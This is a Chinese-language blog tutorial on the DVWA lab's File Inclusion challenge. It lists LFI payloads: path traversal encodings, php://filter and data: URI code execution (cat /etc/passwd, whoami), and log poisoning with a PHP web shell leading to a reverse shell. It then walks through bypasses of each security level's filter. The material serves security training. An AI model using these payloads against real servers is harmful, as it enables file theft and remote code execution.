歡迎光臨
我們一直在努力

DVWA(Damn Vulnerable Web Application)- File Inclusion

DVWA(Damn Vulnerable Web Application)

DVWA(Damn Vulnerable Web Application)是一個用來進行弱點安全測試的網站系統,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。

DVWA共有十個模組,分別是Brute Force(暴力破解)、Command Injection(命令注入)、CSRF(跨站請求偽造)、File Inclusion(檔案包含)、File Upload(檔案上傳)、Insecure CAPTCHA(不安全的驗證碼)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站腳本)、XSS(Stored)(儲存型跨站腳本)。

需要注意的是,DVWA 的程式碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的程式碼,接觸到一些PHP代碼審計的內容。

File Inclusion (low)

File Inclusion,意思是檔案包含(漏洞),是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導致任意檔案讀取或者任意命令執行。

在開始之前,要先介紹一下LFI有哪些姿勢。

  • 目錄跳脫
    • .//index.php
    • ../../../../../../etc/passwd
  • 利用url編碼
    • ../
      • %2e%2e%2f
    • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
    • ..%5c
      • %2e%2e\
  • 二次編碼
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c

示範程式碼 index.php

<?php
    $file = $_GET['file'];
    include $file;
?>

php://input

  • 利用條件:
    • allow_url_include = On。
    • 對allow_url_fopen不做要求。

Kali Linux,修改php.ini
路徑為/etc/php/7.3/apache2/php.ini。
將allow_url_inclue修改為On。

php://filter

  • 利用條件:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php
取得base64編碼後,再進行解碼即可得到該檔案原始碼。

其他姿勢:
透過php://filter/convert.base64-encode來讀取,與上一個不同點是,這個沒有read參數。
index.php?file=php://filter/convert.base64-encode/resource=index.php

phar://

  • 利用條件:
    • php版本大於等於php5.3.0

假如有個phpinfo.php檔,而壓縮成phpinfo.zip,可利用phar://方式讀取壓縮檔下的文件內容。

index.php?file=phar://phpinfo.zip/phpinfo.php

data:URI schema

  • 利用條件:
    • php版本大於等於php5.2
    • allow_url_fopen = On
    • allow_url_include = On

index.php?file=data:text/plain,%3C?php%20phpinfo();?%3E

命令執行

index.php?file=data:text/plain,%3C?php%20system(%27cat%20/etc/passwd%27);?%3E

base64編碼與URL編碼
PD9waHAgcGhwaW5mbygpOz8 = <?php phpinfo();?>
%2b = +

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

命令執行
PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== = <?php system('whoami');?>

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

SSH log

  • 利用條件:
    • 需要知道ssh-log的位置,且可讀。預設情況下為 /var/log/auth.log

auth.log是記錄SSH登錄的資訊。先將該檔案賦予權限755。

接著ssh連上該主機,帳號輸入:<?php system($_GET['cmd']); ?>
密碼任意輸入。

接著從auth.log即可看到我們輸入的帳號資訊。

於是便可透過LFI的方式去讀取,接著便利用一句話命令執行

搭配msf,產reverse_tcp。

透過命令執行訪問該msf的地址。

即可成功拿到shell。

Apache log

與auth.log同理。

environ

  • 利用條件:
    • php以cgi方式執行,這樣environ才會保持UA header。
    • environ檔案儲存位置已知,且environ檔案可讀。

proc/self/environ中會儲存user-agent header。
如果在user-agent中插入php程式碼,則php程式碼會被寫入到environ中。之後再包含它,即可。

LFI + phpinfo ==> RCE

搭配phpinfo或暴力猜解。


簡單介紹完LFI常見手法了,接下來正式進入DVWA主題。

在這題,總共有三個檔案
file1.php
file2.php
file3.php

隨便點第一個檔案,file1.php,並觀察其網址為
fi/?page=file1.php。

LFI題目一樣可以利用黑箱或白箱的方式進行測試,兩種方法都會介紹,但主要還是以白箱為主。

黑箱攻擊:

fi/?page=/etc/passwd
fi/?page=../../../../../../etc/passwd

fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmlsaXR5OiBGaWxlIEluY2x1c2lvbjwvaDE+DQoJPGRpdiBjbGFzcz1cInZ1bG5lcmFibGVfY29kZV9hcmVhXCI+DQoJCTxoMz5GaWxlIDE8L2gzPg0KCQk8aHIgLz4NCgkJSGVsbG8gPGVtPiIgLiBkdndhQ3VycmVudFVzZXIoKSAuICI8L2VtPjxiciAvPg0KCQlZb3VyIElQIGFkZHJlc3MgaXM6IDxlbT57JF9TRVJWRVJbICdSRU1PVEVfQUREUicgXX08L2VtPjxiciAvPjxiciAvPg0KCQlbPGVtPjxhIGhyZWY9XCI/cGFnZT1pbmNsdWRlLnBocFwiPmJhY2s8L2E+PC9lbT5dDQoJPC9kaXY+DQoNCgk8aDI+TW9yZSBpbmZvPC9oMj4NCgk8dWw+DQoJCTxsaT4iIC4gZHZ3YUV4dGVybmFsTGlua1VybEdldCggJ2h0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1JlbW90ZV9GaWxlX0luY2x1c2lvbicgKSAuICI8L2xpPg0KCQk8bGk+IiAuIGR2d2FFeHRlcm5hbExpbmtVcmxHZXQoICdodHRwczovL3d3dy5vd2FzcC5vcmcvaW5kZXgucGhwL1RvcF8xMF8yMDA3LUEzJyApIC4gIjwvbGk+DQoJPC91bD4NCjwvZGl2PlxuIjsNCg0KPz4NCg==

fi/?page=https://www.google.com.tw/

直接看Source code,可以看到只有一個$_GET傳送的page參數,沒有經過任何的過濾。所以可以進行任意LFI/RFI。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

File Inclusion (medium)

直接看Source Code,第7、8行增加了str_replace,過濾了http://與https://和../、..\轉為空,但只會過濾一次,這種過濾方式很常見,且容易繞過。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

在這邊過濾了一次https://,我們就輸入兩個https://。
當我們輸入hthttps://tps://,經過str_replace後,會變成https://,就成功繞過了。

fi/?page=hthttps://tps://www.google.com.tw/

File Inclusion (high)

直接看Source Code,這邊使用了fnmatch檢查page參數,限制了開頭必須是file才可以去include檔案,要繞過這限制我們可以使用file:///協議來進行繞過。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

例如:fi/?page=file:///etc/passwd

File Inclusion (impossible)

在這級別中,限制了file必須等於include和file1、file2、file3,直接使用了白名單方式進行了限制,導致無法繞過。

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
贊(0) 打賞
轉載請附上作者連結:波波的寂寞世界 » DVWA(Damn Vulnerable Web Application)- File Inclusion

波波的寂寞世界

Facebook聯繫我們

覺得文章有用,請作者喝杯咖啡

掃一掃打賞作者狗糧